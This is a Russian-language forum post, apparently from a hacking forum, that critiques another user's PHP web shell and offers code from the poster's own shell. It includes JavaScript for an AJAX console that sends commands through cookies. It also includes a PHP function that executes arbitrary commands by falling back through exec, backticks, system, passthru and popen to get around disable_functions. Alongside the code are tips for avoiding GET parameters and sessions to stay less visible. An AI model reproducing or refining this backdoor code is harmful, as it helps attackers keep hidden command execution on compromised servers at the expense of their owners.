Нужна критика? Учитывая те наработки, что на данный момент есть, написать нормальный, конкурентно способный, шелл вам не светит.
Все же поясню, во первых ваша аяксовая консоль - говно, можете сравнить с моей наработкой, аналогично находится в зачатке, только начал писать:

1. Раз начали делать аяксовую консоль, то и доведите дело до конца - она должна создавать впечатление работы в нормальной консоли. Краткий пример на моем скриншоте.
2. Используете json. Накой хрен? можной обойтись и простым XMLHttpRequest. Например (вырезка с моего шелла):
Код:
function setcookie(name, value) {
document.cookie = name + "=" + value +"; path=/; expires=Mon, 01-Jan-2090 00:00:00 GMT";
}
function unsetcookie(name) {
document.cookie = name + "=; path=/; expires=Mon, 01-Jan-2000 00:00:00 GMT";
}
// .............................
function bashReport(httpRequest){
if (httpRequest.readyState == 4) {
if (httpRequest.status == 200) {
var responseText = httpRequest.responseText;
// ну и тд ..
}
}
}
function getResult(cmd){
var httpRequest = false;
if (window.XMLHttpRequest) {
httpRequest = new XMLHttpRequest();
if (httpRequest.overrideMimeType) {
httpRequest.overrideMimeType('text/xml');
}
} else if (window.ActiveXObject){
try{
httpRequest = new ActiveXObject("Msxml2.XMLHTTP");
} catch (e) {
try {
httpRequest = new ActiveXObject("Microsoft.XMLHTTP");
} catch (e) {}
}
}
httpRequest.onreadystatechange = function() { bashReport(httpRequest); };
httpRequest.open('GET', window.location.href, true);
setcookie('module', 'console');
setcookie('cwd', escape(cwd));
setcookie('command', escape(cmd));
httpRequest.send(null);
}
3. Подгружаете кучу сторонних js библиотек, накой хрен? шелл хоть и должен выглядеть прилично, но главное
он должен быть быстрым и юзабельным.
4. Параметры в GET - забудьте про GET совсем. POST еще сойдет, но я бы порекомендовал передавать
все параметры через куки и просто обновлять страницу
Код:
function nav(module, sub, param) {
setcookie('module', module);
setcookie('sub', sub);
setcookie('param', param);
window.location.reload();
}
5. Всюду shell_exec, это совсем не катит, он может быть и вырублен на сервере, используйте проверки, например:
PHP код:
$disablefuncs = array();
function myshellexec($cmd) {
global $disablefuncs;
if (empty($cmd)) {
return '';
}
$result = '';
if (is_callable('exec') and !in_array('exec', $disablefuncs)) {
exec($cmd, $result);
$result = join("\n", $result);
} elseif (($result = `$cmd`) !== FALSE) {
} elseif (is_callable('system') and !in_array('system')) {
ob_start();
system($cmd);
$result = ob_get_contents();
ob_clean();
} elseif (is_callable('passthru') and !in_array('passthru', $disablefuncs)) {
ob_start();
passthru($cmd);
$result = ob_get_contents();
ob_clean();
} elseif (is_resource($fp = popen($cmd,"r"))) {
while(!feof($fp)) {
$result .= fread($fp, 1024);
}
pclose($fp);
} else {
$result = 'Shit. Can\'t execute command - paranoidal admin[s] has been disabled many functions!';
}
return $result;
}
if (is_callable('ini_get')) {
$disablefuncs = ini_get("disable_functions");
if (!empty($disablefuncs)) {
$disablefuncs = str_replace(' ', '', $disablefuncs);
$disablefuncs = explode(',', $disablefuncs);
} else {
$disablefuncs = array();
}
}
6. Аналогично забудьте о сессиях, вполне хватит кук.
Пока все, может еще дополню.